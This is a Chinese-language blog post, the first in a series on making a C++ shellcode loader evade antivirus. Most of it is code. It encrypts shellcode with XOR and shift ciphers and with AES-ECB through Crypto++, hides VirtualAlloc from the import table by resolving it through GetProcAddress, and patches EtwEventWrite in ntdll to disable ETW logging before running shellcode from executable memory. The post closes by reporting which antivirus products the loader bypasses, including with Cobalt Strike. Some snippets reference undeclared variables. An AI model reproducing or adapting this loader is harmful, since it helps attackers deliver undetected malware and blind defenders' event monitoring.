Life has its own fate, and meeting may not be accidental.

0%

C++变形免杀初探(一)

好久没水文章了,最近一段时间一直在忙项目上的事情。= =

思路

  • shellcode -> 加密算法 ->生成恶意加密shellcode ->加载器 ->解密算法 -> 执行恶意shellcode

利用外部库来进行加解密操作,增加分析难度,可以加base64,不过base64可能会把不可见字符转换出问题,不过两层加密基本够了,太多层反而效率变慢了。

外部库

  • crypto
  • boost

加密部分

异或部分

异或和位移,可以说是复杂度最低的算法了,效率高。

1
#define _CRT_SECURE_NO_DEPRECATE
2
#include <windows.h>  
3
#include <stdio.h>  
4
#include <iostream>
5
#include <string>
6
using namespace std; 
7
unsigned char buf[] = "";
8
9
void Shift_encryption(int k, char plain[], char ciphertext[])  //移位加密
10
{
11
    int i = 0;
12
    for (i = 0; plain[i] != '\0'; i++)
13
    {
14
        if (plain[i] > 64 && plain[i] < 91)//确定是字母
15
        {
16
            ciphertext[i] = plain[i] + k;
17
            if (ciphertext[i] > 90) //保证密文是字母,且大小写不发生改变
18
                ciphertext[i] = ciphertext[i] - 26;
19
        }
20
        else if (plain[i] > 96 && plain[i] < 123)
21
        {
22
            ciphertext[i] = plain[i] + k;
23
            if (ciphertext[i] > 122)
24
                ciphertext[i] = ciphertext[i] - 26;
25
        }
26
27
    }
28
}
29
void Shift_decryption(int k, char plain[], char ciphertext[])  //移位加密
30
{
31
    int i = 0;
32
    for (i = 0; ciphertext[i] != '\0'; i++)//确定是字母
33
    {
34
        if (ciphertext[i] > 64 && ciphertext[i] < 91)
35
        {
36
            plain[i] = ciphertext[i] - k;
37
            if (plain[i] < 65)//保证密文是字母,且大小写不发生改变
38
                plain[i] = plain[i] + 26;
39
        }
40
        if (ciphertext[i] > 96 && ciphertext[i] < 123)
41
        {
42
            plain[i] = ciphertext[i] - k;
43
            if (plain[i] < 97)//保证密文是字母,且大小写不发生改变
44
                plain[i] = plain[i] + 26;
45
        }
46
    }
47
}
48
int main() {
49
    int password = 1025;
50
    unsigned char enShellCode[6000];
51
    unsigned char deShellCode[6000];
52
    int nLen = sizeof(buf) - 1;
53
    for (int i = 0; i < nLen; i++)
54
    {
55
        enShellCode[i] = buf[i] ^ password;
56
        printf("\\x%x", enShellCode[i]);
57
    }
58
    printf("\n");
59
    for (int i = 0; i < nLen; i++)
60
    {
61
        deShellCode[i] = enShellCode[i] ^ password;
62
        printf("\\x%x", deShellCode[i]);
63
    }
64
    return 0;
65
}

时间戳

获取时间戳来进行aes加密,利用外部库boost获取时间戳。

1
int64_t GetCurrentStamp64()
2
{
3
    //获取当前时间戳(秒or毫秒)
4
    boost::posix_time::ptime epoch(boost::gregorian::date(1970, boost::gregorian::Jan, 1));
5
    boost::posix_time::time_duration time_from_epoch = boost::posix_time::second_clock::universal_time() - epoch;
6
7
    return time_from_epoch.total_seconds();
8
}

AES加密

1
int enAES() {
2
    try
3
    {
4
        // 使用ECB模式加密
5
        ECB_Mode< AES >::Encryption e;
6
        e.SetKey(key, sizeof(key));
7
8
        // 在此处加密
9
        // StreamTransformationFilter根据需要添加填充,使用PKCS_padding(PKCS7Padding)默认值。
10
        // ECB和CBC模式必须填充到密码的块大小。
11
        StringSource(strPlain, true,
12
            new StreamTransformationFilter(e,
13
                new StringSink(strCipher) // 字符串接收器
14
            )
15
        );
16
    }
17
    catch (const Exception& e)
18
    {
19
        cerr << e.what() << endl;
20
        exit(1);
21
    }
22
    strEncoded.clear();
23
    StringSource(strCipher, true,
24
        new HexEncoder(
25
            new StringSink(strEncoded)
26
        ) //
27
    ); // StringSource
28
    return 0;
29
}
30
int deAES() {
31
32
33
    try
34
    {
35
        // decrypt with ECB mode
36
        ECB_Mode< AES >::Decryption d;
37
        d.SetKey(key, sizeof(key));
38
39
        // The StreamTransformationFilter removes padding as required.
40
        StringSource s(strCipher, true,
41
            new StreamTransformationFilter(d,
42
                new StringSink(strRecovered) // StringSink
43
            ) // StreamTransformationFilter
44
        ); // StringSource
45
    }
46
    catch (const Exception& e)
47
    {
48
        cerr << e.what() << endl;
49
        exit(1);
50
    }
51
52
    return 0;
53
}

加载

导入表混淆

修改参数为函数名

原理:对C++程序的导入表进行混淆。不做任何混淆时的导入表存在例如VirtualAlloc这样的敏感函数,通过隐藏函数的方式来减少马子特征。

1
#include <windows.h>  
2
#include <stdio.h>  
3
#include <iostream>
4
#include <string>
5
typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T  dwSize, DWORD flAllocationType, DWORD flProtect);
6
pVirtualAlloc fnVirtualProtect;
7
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };
8
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
9
unsigned char buf[] = "";
10
11
int main() {
12
13
	fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
14
	void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
15
	memcpy(exec, deShellCode, sizeof deShellCode);
16
	((void(*)())exec)();
17
	return 0;
18
}

禁用Windows事件跟踪 (ETW)

原理:Windows 事件跟踪 (ETW) 是一种有效的内核级跟踪工具,允许你将内核或应用程序定义的事件记录到日志文件中。 可以实时或从日志文件使用事件,并使用它们调试应用程序或确定应用程序中发生性能问题的位置。

ETW 允许动态启用或禁用事件跟踪,使你可以在生产环境中执行详细的跟踪,而无需重启计算机或应用程序。

结合混淆导入表代码如下:

1
#include <windows.h>  
2
#include <stdio.h>  
3
#include <iostream>
4
#include <string>
5
using namespace std;
6
unsigned char buf[] = "";
7
8
typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T  NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
9
tNtVirtual oNtVirtual;
10
11
void disableETW(void) {
12
    // return 0
13
    unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 };     // xor rax, rax; ret
14
15
    ULONG oldprotect = 0;
16
    size_t size = sizeof(patch);
17
18
    HANDLE hCurrentProc = GetCurrentProcess();
19
20
    unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
21
    void* pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR)sEtwEventWrite);
22
    if ((DWORD)GetModuleHandle("ntdll.dll") == NULL) { std::cout << "error"; }
23
    else {
24
        printf("NTDLL.DLL START ADDRESS: %08x", (DWORD)GetModuleHandle("ntdll.dll"));
25
    }
26
    if ((DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory") == NULL) { std::cout << "error"; }
27
    else { printf("\nNtProtectVirtualMemory ADDRESS: %08x", (DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory")); }
28
29
    FARPROC farProc = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory");
30
31
32
    oNtVirtual = (tNtVirtual)farProc;
33
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
34
35
    //memcpy(pEventWrite, patch, size / sizeof(patch[0]));
36
    memcpy(pEventWrite, patch, 4);
37
    oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
38
    FlushInstructionCache(hCurrentProc, pEventWrite, size);
39
40
}
41
42
43
int main() {
44
  disableETW();
45
46
	void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
47
	memcpy(exec, shellcode, sizeof shellcode);
48
	((void(*)())exec)();
49
    return 0;
50
}

杀软测试

最后马子实测配合其他C2可以过卡巴,但是如果用cs的话国产杀软能过,卡巴过不去,卡巴查杀原因是数据库查杀,CS特征被检测到,得从cs特征上修改。

参考文章

红队队开发基础-基础免杀(一)